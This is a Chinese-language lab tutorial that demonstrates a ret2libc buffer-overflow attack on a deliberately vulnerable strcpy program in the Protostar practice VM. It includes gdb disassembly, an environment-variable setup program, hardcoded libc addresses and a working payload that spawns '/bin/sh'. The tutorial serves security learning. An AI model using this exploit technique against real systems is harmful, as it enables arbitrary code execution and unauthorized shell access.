實現ret2libc攻擊


  在protostar的stack6練習中,提到了ret2libc,所以這里先對這種攻擊手段做一個介紹,學習來源https://www.shellblade.net/docs/ret2libc.pdf,仍舊是在protostar的虛擬機上進行的實驗。

背景

  在stack4的練習中,我們用程序中存在的win函數起始地址覆蓋了main函數的返回地址。在實際的攻擊中,攻擊者往往會把自己的shellcode實現導入棧(本地緩沖變量或者環境變量)或堆中(動態分配變量),再將返回地址覆蓋為shellcode的地址。為了應對這種攻擊手段,出現了一種機制:W^X,限制了內存區域的操作權限為可寫或者可執行,在這種情況下,攻擊者無法使用自己的shellcode,ret2libc的攻擊手法應運而生。
  在ret2libc中,攻擊者不再使用自己的shellcode,而是把返回地址指向了C標准函數庫中的system()函數(當然也可以指向其他函數,但是有system()這個強大的函數…),system()函數接受一個字符串參數,該參數指定要執行的程序的路徑和名稱,這樣就可以實現任意程序的執行。

棧幀布局

  這個話題在stack4中已經進行過簡單的討論了,這里再做一次總結。

高地址 caller的本地變量
  callee的參數 
  callee的返回地址 
EBP caller的EBP 
ESP callee的本地變量 
低地址  

所以當我們在callee的棧幀中時,可以通過操作EBP獲得參數和本地變量(當然也可以用ESP)。

Argument Offset Variable Offset
Argument 1 EBP + 8 Variable 1 EBP - 4 
Argument 2 EBP + 12 Variable 2 EBP - 8
Argument 3 EBP + 16 Variable 3 EBP - 12
Argument N EBP + 8 + 4*(N-1) Variable N EBP - 4N

實驗

環境

$ cat /proc/version
Linux version 2.6.32-5-686 (Debian 2.6.32-38) (ben@decadent.org.uk) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Mon Oct 3 04:15:24 UTC 2011

存在bug的代碼

 1 #include <stdio.h>
 2 #include <string.h>
 3 void bug(char *arg1)
 4 {
 5     char name[128];
 6     strcpy(name, arg1);
 7     printf("Hello %s\n", name);
 8 }
 9 int main(int argc, char **argv)
10 {
11     if (argc < 2)
12     {
13         printf("Usage: %s <your name>\n", argv[0]);
14         return 0;
15     }
16     bug(argv[1]);
17     return 0;
18 }

  可以看到在bug函數中,直接使用strcpy將arg1的值賦給大小為128字節的name變量,這里會發生棧溢出。

步驟

1. 找到返回地址的位置

$ gcc -fno-stack-protector bug.c -o bug

  獲得程序的可執行文件bug,接下來查看程序的反匯編結果,從而判斷怎么組織payload。

 1 $ gdb -q bug      
 2 Reading symbols from /home/user/bug...(no debugging symbols found)...done.
 3 (gdb) disas bug
 4 Dump of assembler code for function bug:
 5 0x080483f4 <bug+0>:     push   %ebp
 6 0x080483f5 <bug+1>:     mov    %esp,%ebp
 7 0x080483f7 <bug+3>:     sub    $0x98,%esp
 8 0x080483fd <bug+9>:     mov    0x8(%ebp),%eax
 9 0x08048400 <bug+12>:    mov    %eax,0x4(%esp)
10 0x08048404 <bug+16>:    lea    -0x88(%ebp),%eax
11 0x0804840a <bug+22>:    mov    %eax,(%esp)
12 0x0804840d <bug+25>:    call   0x8048320 <strcpy@plt>
13 0x08048412 <bug+30>:    mov    $0x8048530,%eax
14 0x08048417 <bug+35>:    lea    -0x88(%ebp),%edx
15 0x0804841d <bug+41>:    mov    %edx,0x4(%esp)
16 0x08048421 <bug+45>:    mov    %eax,(%esp)
17 0x08048424 <bug+48>:    call   0x8048330 <printf@plt>
18 0x08048429 <bug+53>:    leave  
19 0x0804842a <bug+54>:    ret    
20 End of assembler dump.
21 (gdb) q

  通過分析反匯編的代碼,可以發現name變量位於$ebp-0x88的位置,看一下棧幀布局:

高地址 main的本地變量  
  bug的參數char *arg1 4字節
  bug的返回地址 4字節
EBP main的EBP 4字節
ESP bug的本地變量buffer 136字節
低地址    

  所以如果我們傳入的參數長度為136+4+4=144字節,就可以覆蓋bug函數的返回地址:

1 $ gdb -q bug      
2 Reading symbols from /home/user/bug...(no debugging symbols found)...done
3 (gdb) r `python -c "print 'A'*136+'B'*4+'C'*4"`
4 Starting program: /home/user/bug `python -c "print 'A'*136+'B'*4+'C'*4"`
5 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
6 
7 Program received signal SIGSEGV, Segmentation fault.
8 0x43434343 in ?? ()
9 (gdb) q

  0x43434343正好是4個'C'的ascii值,說明我們的分析正確。

2. 傳入system()函數的參數

  要調用system()函數,要提供對應的參數,這里我們使用"/bin/sh"作為參數,所以需要將字符串"/bin/sh"寫入內存中。有兩種方法:①在傳入參數中包含該字符串;②將字符串存入環境變量中。使用第一種方法,字符串"/bin/sh"會保存到bug的棧幀中,由於后續我們會從bug函數返回再調用system()函數,可能會出現覆蓋"/bin/sh"的情況,所以使用第二種方法更好。
  雖然將"/bin/sh"放入了內存中,它的起始地址又應該放在哪里呢?再次回到棧幀布局上:
① 假設從bug函數返回后進入了system()函數:

高地址 main的本地變量  
  bug的參數char *arg1  
EBP DUMMY EBP 原本是system的起始地址,執行了system中的push ebp
ESP system的本地變量  
低地址    

② 假設我們已經進入了system()函數的棧幀,同時希望它的參數是"/bin/sh":

高地址 main的本地變量
  system的參數"/bin/sh"
  system的返回地址
EBP DUMMY EBP
ESP system的本地變量
低地址  

③ 對比①②中的兩個表,可以獲得我們的payload

原值 payload
main的本地變量 "bin/sh"的起始地址
bug的參數char *arg1 system()的返回地址(exit()的起始地址)
bug的返回地址 system()的起始地址
main的EBP "B"*4
bug的本地變量 "A"*136

  這樣我們就可以構造出一個完整的payload了。還有一個小的問題,system()函數的返回地址,這里我們使用exit()函數的起始地址,讓程序正常退出。

3. 獲得相關地址

  首先我們需要把"/bin/sh"寫入環境變量,代碼:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <unistd.h>
 4 int main(int argc, char **argv)
 5 {
 6     char *ptr = getenv("EGG");
 7     if (ptr != NULL)
 8     {
 9         printf("Estimated address: %p\n", ptr);
10         return 0;
11     }
12     printf("Setting up environment...\n");
13     setenv("EGG", "/bin/sh", 1);
14     execl("/bin/sh", (char *)NULL);
15 }

  編譯后執行兩次,可獲得字符串的一個估計地址:

1 $ ./setup 
2 Setting up environent...
3 $ ./setup
4 Estimated address: 0xbfffffa9

  再獲得system()和exit()的地址:

 1 $ gdb -q bug
 2 Reading symbols from /home/user/bug...(no debugging symbols found)...done.
 3 (gdb) break main
 4 Breakpoint 1 at 0x804842e
 5 (gdb) r
 6 Starting program: /home/user/bug 
 7 
 8 Breakpoint 1, 0x0804842e in main ()
 9 (gdb) p system
10 $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
11 (gdb) p exit
12 $2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>

  最后確定"/bin/sh"的准確地址,這里0xbfffff89是試出來的:

1 (gdb) x/4s 0xbfffff89
2 0xbfffff89:      "ELL=/bin/sh"
3 0xbfffff95:      "EGG=/bin/sh"
4 0xbfffffa1:      "PWD=/home/user"
5 0xbfffffb0:      "SSH_CONNECTION=192.168.60.1 57969 192.168.60.131 22"

  再加上"EGG="的偏移量,可以獲得字符串的起始地址,所以:

1 0xb7ecffb0: system()
2 0xb7ec60c0: exit()
3 0xbfffff99: "/bin/sh"

4. 構造payload

Payload = "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x99\xff\xff\xbf"

注意這里的字節順序,原因在之前的文章有提過,因為protostar虛擬機是little endian。

5. 攻擊

  這里還有一個問題,環境變量在gdb和在外界的命令行中的位置還是有一些差異,看一下輸出結果:

1 $ ./bug `python -c 'print "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x99\xff\xff\xbf"'`
2 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
3 
4                                         sh: n/sh: not found

  可以看到"n/sh"是"/bin/sh"的一部分,需要前移3個字節:

1 $ ./bug `python -c 'print "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x96\xff\xff\xbf"'`
2 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
3 
4                                         $ 

  以上就實現了一次ret2libc攻擊。需要注意的是,在這次攻擊以及protostar中的練習都是直接將地址硬編碼進行payload中,並沒有考慮到ASLR的情況,protostar虛擬機已經關閉了ASLR,所以練習才可以順利完成。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM